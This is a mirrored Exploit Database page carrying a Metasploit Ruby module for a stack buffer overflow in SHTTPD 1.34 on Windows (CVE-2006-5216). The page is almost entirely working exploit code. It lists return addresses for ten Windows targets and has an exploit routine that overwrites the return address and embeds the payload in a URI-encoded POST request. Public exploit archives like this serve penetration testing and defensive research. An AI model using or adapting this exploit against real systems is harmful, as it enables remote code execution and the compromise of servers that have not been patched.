SHTTPD 1.34 (Windows x86) – URI-Encoded POST Request Overflow (Metasploit)

• Exploit Database
• 36 阅读

• 作者： Metasploit
  日期： 2010-05-09
• 类别：

  • remote
  平台：

  • windows_x86
• 来源：https://www.exploit-db.com/exploits/16759/

• ##
  # $Id: shttpd_post.rb 9262 2010-05-09 17:45:00Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'SHTTPD <= 1.34 URI-Encoded POST Request Overflow (win32)',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in SHTTPD <= 1.34.
  				The vulnerability is caused due to a boundary error within the
  				handling of POST requests. Based on an original exploit by skOd
  				but using a different method found by hdm.
  			},
  			'Author' => [ 'LMH <lmh [at] info-pull.com>', 'hdm', 'skOd'],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9262 $',
  			'References' =>
  				[
  					[ 'CVE', '2006-5216'],
  					[ 'OSVDB', '29565' ],
  					[ 'URL', 'http://shttpd.sourceforge.net'],
  					[ 'BID', '20393'],
  				],
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'BadChars' => "\x00",
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					# Except for Spanish locale target, all come from:
  					# http://metasploit.com/users/opcode/msfopcode.cgi
  					[ 'Windows NT English SP5-SP6',			{ 'Ret' => 0x776a183a } ],
  					[ 'Windows 2000 Spanish SP4',			{ 'Ret' => 0x79496391 } ],
  					[ 'Windows 2000 French SP4',			{ 'Ret' => 0x74fb108d } ],
  					[ 'Windows 2000 English SP0-SP4',			{ 'Ret' => 0x75021421 } ],
  					[ 'Windows 2000 French SP0-SP4',			{ 'Ret' => 0x74fa3144 } ],
  					[ 'Windows 2003 Server English SP0-SP1',	{ 'Ret' => 0x77d877d3 } ],
  					[ 'Windows XP German SP2',				{ 'Ret' => 0x71a02975 } ],
  					[ 'Windows XP German SP1',				{ 'Ret' => 0x71a02a6a } ],
  					[ 'Windows XP English SP2',				{ 'Ret' => 0x71aa1e08 } ],
  					[ 'Windows XP English SP0-SP1',			{ 'Ret' => 0x71aa1aaa } ],
  				],
  			'DisclosureDate' => 'Oct 6 2006'))
  
  		register_options(
  			[
  				Opt::RPORT(80)
  			], self.class )
  	end
  
  	def exploit
  		connect
  
  		pat = rand_text_alphanumeric(4000)
  		pat[8,4] = [target.ret].pack('V')
  		pat[103, payload.encoded.length] = payload.encoded
  		pat = Rex::Text.uri_encode(pat)
  
  		res = "post /#{pat} HTTP/1.0\r\n\r\n"
  
  		print_status("Trying target address 0x%.8x..." % target.ret)
  		sock.put(res)
  		sock.close
  
  		handler
  		disconnect
  	end
  
  end